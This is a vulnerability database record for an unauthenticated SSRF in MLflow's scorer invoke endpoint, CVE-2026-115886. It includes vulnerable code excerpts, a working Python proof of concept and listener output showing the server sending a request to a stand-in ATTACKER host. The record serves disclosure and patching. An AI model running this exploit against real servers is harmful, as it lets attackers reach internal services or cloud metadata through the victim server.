{"id":"GHSA-2wqp-q3c6-ccj5","aliases":["BIT-mlflow-2026-115886","CVE-2026-115886"],"title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"MODERATE","description":"### Summary\nMLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data          # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n    raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)   # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {})  # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"]               # attacker model URI\nscorer_instance = scorer_class(**init_kwargs)      # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n    \"mlflow.genai.scorers.ragas\",\n    \"mlflow.genai.scorers.deepeval\",\n    \"mlflow.genai.scorers.trulens\",\n    \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n    return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n    return _create_gateway_provider(backend, **kwargs)\ntry:\n    from trulens.providers.litellm import LiteLLM\n    litellm_model = backend.model_name\n    ...\n    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\"           # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\"    # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n    span.set_inputs({\"q\": \"hi\"})\n    span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n#    outbound LLM client at the attacker host with an attacker-chosen\n#    Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n    \"name\": \"poc\",\n    \"third_party_scorer_data\": {\n        \"module\": \"mlflow.genai.scorers.trulens\",\n        \"class\": \"Coherence\",\n        \"metric_name\": \"Coherence\",\n        \"model\": \"openai:/gpt-4o\",          # routes to the litellm fallback\n        \"kwargs\": {\n            \"api_base\": ATTACKER,\n            \"api_key\": \"ATTACKER-CANARY\",   # attacker's own value, not a server secret\n        },\n    },\n}\nresp = requests.post(\n    f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n    json={\n        \"experiment_id\": exp_id,\n        \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n        \"trace_ids\": [trace_id],\n    },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5)  # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.","severity":"medium","score":6.5,"published":"2026-10-23T21:17:21.462Z","modified":"2026-10-29T18:18:21.052Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"PyPI","name":"mlflow","sources":[{"name":"OSV · GHSA-2wqp-q3c6-ccj5","url":"https://osv.dev/vulnerability/GHSA-2wqp-q3c6-ccj5"}],"ranges":[{"events":[{"introduced":"3.12.0rc0"},{"fixed":"3.17.0"}],"type":"ECOSYSTEM"}],"versions":["3.12.0","3.12.0rc0","3.13.0","3.13.0rc0","3.14.0","3.15.0","3.15.1","3.15.2","3.16.0","3.16.1"],"fixed":["3.17.0"]}],"sourceAffected":[],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5","https://github.com/mlflow/mlflow/pull/25890","https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f","https://github.com/mlflow/mlflow","https://github.com/mlflow/mlflow/releases/tag/v3.17.0"],"sources":[{"name":"OSV","id":"GHSA-2wqp-q3c6-ccj5","modified":"2026-10-29T12:55:50.260775923Z","url":"https://osv.dev/vulnerability/GHSA-2wqp-q3c6-ccj5"},{"name":"CVE","id":"CVE-2026-115886","modified":"2026-10-29T18:18:21.052Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-115886"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5},{"source":"GitHub_M","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5}],"cve":{"records":[{"id":"CVE-2026-115886","source":"GitHub_M","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-10-23T19:37:27.176Z","published":"2026-10-23T21:17:21.462Z","modified":"2026-10-29T18:18:21.052Z"}],"publishers":[{"name":"GitHub_M","role":"CNA","organizationId":"a0819718-46f1-4df5-94e2-005712e83aaa","modified":"2026-10-23T21:17:21.462Z"},{"name":"CISA-ADP","role":"ADP","organizationId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","modified":"2026-10-29T18:18:21.052Z"}],"references":[{"url":"https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5","tags":["x_refsource_CONFIRM"],"source":"GitHub_M"},{"url":"https://github.com/mlflow/mlflow/pull/25890","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/mlflow/mlflow/releases/tag/v3.17.0","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5","tags":["exploit"],"source":"CISA-ADP"}],"weaknesses":[{"id":"CWE-470","description":"CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","source":"GitHub_M"},{"id":"CWE-918","description":"CWE-918: Server-Side Request Forgery (SSRF)","source":"GitHub_M"}],"applicability":[],"prioritization":[{"source":"CISA-ADP","type":"SSVC","role":"CISA Coordinator","timestamp":"2026-10-29T18:17:37.566428Z","decisions":[{"name":"Exploitation","value":"poc"},{"name":"Automatable","value":"yes"},{"name":"Technical Impact","value":"partial"}]}]},"products":[{"vendor":"mlflow","name":"mlflow","platforms":[],"versions":[{"version":">= 3.12.0rc0, < 3.17.0","status":"affected"}],"cpes":[],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-115886"}],"remediation":[],"observedAt":"2026-10-29T18:49:47.456Z","kev":{"status":"not-listed","checkedAt":"2026-11-07T23:20:33.336Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-10-30T08:05:37.590Z","attemptedAt":"2026-10-30T08:05:37.590Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-30T08:05:37.732Z","attemptedAt":"2026-10-30T08:05:37.732Z"},{"source":"EUVD","status":"available","checkedAt":"2026-10-30T08:05:37.103Z","attemptedAt":"2026-10-30T08:05:37.103Z"},{"source":"EPSS","status":"available","checkedAt":"2026-10-30T08:05:37.102Z","attemptedAt":"2026-10-30T08:05:37.102Z"}],"evidence":[{"source":"FIRST EPSS","id":"CVE-2026-115886","url":"https://www.first.org/epss/","probability":0.00676,"percentile":0.52148,"date":"2026-10-29","checkedAt":"2026-10-30T08:05:37.102Z"},{"source":"ENISA EUVD","id":"EUVD-2026-109184","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-109184","modified":"Oct 29, 2026, 6:18:21 PM","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","checkedAt":"2026-10-30T08:05:37.103Z"},{"source":"NVD","id":"CVE-2026-115886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115886","modified":"2026-10-29T19:17:16.957","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","checkedAt":"2026-10-30T08:05:37.590Z"},{"source":"GitHub Advisory Database","id":"GHSA-2wqp-q3c6-ccj5","url":"https://github.com/advisories/GHSA-2wqp-q3c6-ccj5","modified":"2026-10-23T22:07:27Z","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","checkedAt":"2026-10-30T08:05:37.732Z"}],"aiSummary":null}